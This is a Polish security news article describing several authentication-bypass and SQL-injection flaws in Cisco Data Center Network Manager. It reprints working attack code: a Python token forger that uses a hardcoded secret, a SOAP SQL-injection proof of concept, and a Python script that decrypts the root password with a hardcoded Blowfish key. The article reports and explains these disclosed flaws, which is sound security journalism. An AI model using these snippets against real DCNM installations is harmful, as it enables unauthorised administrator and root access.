Kopalnia grubych podatności w oprogramowaniu od Cisco (Data Center Network Manager)

Dość szczegółowy opis dostępny jest tutaj. Różne podatności występują w obu „wirtualnych” urządzeniach udostępnianych przez producenta (zarówno dla Windows jak i w przypadku Linuksa). Cisco w opisie łaty (jest ich kilka) pisze np. tak:

Multiple vulnerabilities in the authentication mechanisms of Cisco Data Center Network Manager (DCNM) could allow an unauthenticated, remote attacker to bypass authentication and execute arbitrary actions with administrative privileges on an affected device.

Zobaczmy zatem szczegóły. Jak można dostać dostęp 'global admin’ na omawianym wirtualnym urządzeniu? Wystarczy tylko wygenerować sobie odpowiedni „token”. Jakaś zaawansowana kryptografia? Niekoniecznie; wystarczy taki prosty kod:

import md5
import base64
def gen_ssotoken():
    timestamp = 9999999999999  # we live forever
    username = "hax"           # doesnt even need to exist!
    sessionid = 1337           # doesnt even need to exist!
    d = "%s%d%dPOsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF" % (username, sessionid, timestamp)
    return "%d.%d.%s.%s" % (sessionid, timestamp, base64.b64encode(md5.new(d).digest()), username)

Co to za dziwny ciąg: „POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF” ? Został on po prostu zahardkodowany w źródłach produktu.

Dalej mamy podatność SQL injection. Jaka jest zazwyczaj polecana metoda ochrony przed tą luką? Zapytania parametryzowane. W omawianym oprogramowaniu są i zapytania parametryzowane, tylko użyte w sposób nie chroniący przed SQLi:

/* 1078 */       sql = SQLLoader.getSqlStmt("HostEnclHandler.VM_HOST_DATA_LIST_STMT");
/* 1079 */       stmt = PersistentHelper.getHelper().getPreparedStmt(con, sql + sortSqlSuffix, 1004, 1007);

W linijce 1079 widać, że zapytanie konstruowane jest w sposób dynamiczny (do zapytania zostaje dodana kontrolowana przez użytkownika wartość zmiennej sortSqlSuffix !).  Sam PoC podatności jest dość prosty:

    <soapenv:Body>
        <ep:getVmHostData>
            <arg0>
                <sortField>vcluster</sortField>
                <sortType>;select pg_sleep(10);--</sortType>
            </arg0>
            <arg1></arg1>
            <arg2></arg2>
            <arg3></arg3>
        </ep:getVmHostData>
    </soapenv:Body>

Następnie można go przekuć na wykonanie kodu w OS, finalnie otrzymując uprawnienia admina:

To tylko jeden przykład podatności klasy SQL injection, albowiem autor znaleziska relacjonuje:

Further searches of this pattern resulted in over 100 separate sql injection vulnerabilities alone.

Inna wersja tego oprogramowania umożliwia dostęp bez uwierzytelnienia (a dokładniej domyślne credentiale do tego „panelu debug” zaszyte są głęboko w dokumentacji) do następującego miejsca:

Czym jest password? Hasłem na roota (ustawianym początkowo przez administratora), które jest zaszyfrowane Blowfishem. Ale uwaga, zaszyfrowane zahardkodowanym hasłem: „jaas is the way”:

blowFishCipher.init(2, new SecretKeySpec("jaas is the way".getBytes(), "Blowfish"));

Można więc spokojnie odszyfrować hasło na roota (pasuje również do panelu webowego):

#!/usr/bin/python
import sys
from Crypto.Cipher import Blowfish
cipher = Blowfish.new("jaas is the way", Blowfish.MODE_ECB)
print cipher.decrypt(sys.argv[1].decode("hex"))

Chcecie więcej? Kolejnych kilka błędów – prowadzących np. do roota bez uwierzytelnienia dostępnych jest w oryginalnym opisie.

–ms